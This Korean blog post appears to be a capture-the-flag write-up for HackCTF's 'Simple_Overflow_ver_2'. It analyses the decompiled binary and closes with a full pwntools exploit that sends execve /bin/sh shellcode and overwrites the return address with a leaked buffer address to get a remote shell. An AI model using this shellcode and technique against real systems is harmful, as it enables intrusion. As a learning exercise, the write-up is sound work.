Simple_Overflow_ver_2 풀이

2021. 7. 14. 00:01HackCTF

728x90

문제 정보
문제에서 주어진 파일
IDA로 디컴파일

이번 문제는 여태까지 풀었던 Buffer Overflow문제들보다 소스코드가 조금 복잡해 보입니다.

우선 문제 파일을 실행시켜보겠습니다.

 

Simple_overflow_ver_2 실행 화면

코드랑 같이 보면서 설명하도록 하겠습니다.

 

우선 do-while 반복문을 사용하는데, do의 첫 부분에서 88-14=74(10진수로 116) 크기의 char형 배열 s를 \n(줄 바꿈 이스케이프 시퀸스)이 나오기 전까지 입력받습니다.

그리고 for문으로 들어가는데, size_t 형식의 변수 v3에다가 int형 변수 i를 대입합니다.

 

저는 여기서 size_t라는 타입을 처음 봐서 구글에 서칭을 조금 해봤습니다.

size_t는 해당 시스템에서 어떤 객체나 값이 포함할 수 있는 최대 크기의 데이터를 표현하는 타입으로 반드시 unsigned 형으로 나타낸다.

나무위키에 size_t를 설명하는 글이 있길래 본문에서 위 문장을 가져왔습니다.

그냥 이런 자료형도 있구나~ 하고 넘어가겠습니다.

 

for문 안에서 만나는 첫 번째와 두 번째 if는 그다지 신경 쓰지 않아도 될 것 같습니다.

세 번째 if는 문자열을 16개씩 끊어주는 부분입니다.

 

문자열을 16개씩 끊어서 줄바꿈 출력. 버퍼의 주소도 새롭게 출력된다.

그 후에 y/n 둘 중 하나를 선택하도록 해서 v5를 입력받을지 아니면 종료할지 판별하게 됩니다.

입력받는 v5는 89-13=76(10진수로 118)의 크기입니다.

 

기본적인 정보들은 다 모은 것 같습니다.

 

이 코드에서 입력을 받는 부분은 do부분에 있는 s, while부분에 있는 v5 이렇게 두 부분입니다.

s는 아무래도 \n 전까지 라는 제약조건이 있고, v5는 그냥 scanf로 받게 되니 v5가 오버플로우에 적합해 보입니다.

 

그럼 우선 s에는 아무 값이나 넣어주고 y를 선택해서 v5를 받을 수 있도록 하겠습니다.

그리고 v5에는 쉘코드(25byte)를 넣어주고 나머지 buf+sfp의 크기만큼 쓰레기 값으로 채우겠습니다.

ret 부분에는 처음에 주어졌던 buf 주소를 잘라 32bit로 바꿔 넣으면 쉘코드가 실행되면서 FLAG가 뜰 것 같습니다.

 

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3006)

p.recvuntil(" : ")
p.sendline("happyhappy")
juso=int(p.recv(10),16)

p.recvuntil(": ")
p.sendline("y")

shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

a=shell
a+='a'*(0x88-25+4)+p32(juso)
p.sendline(a)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

이번 문제는 선언된 변수랑 배열들이 너무 많고 코드도 상대적으로 복잡해서 익스코드 짜다가 많이 헷갈렸습니다.

메모장에 정리해가면서 푸니까 생각도 정리되고, 복잡하지도 않아서 편했습니다.

728x90

'HackCTF' 카테고리의 다른 글

RTL_World 풀이  (0) 2021.07.17
Offset 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13
내 버퍼가 흘러넘친다!!! 풀이  (0) 2021.07.12
x64 Buffer Overflow 풀이  (0) 2021.06.16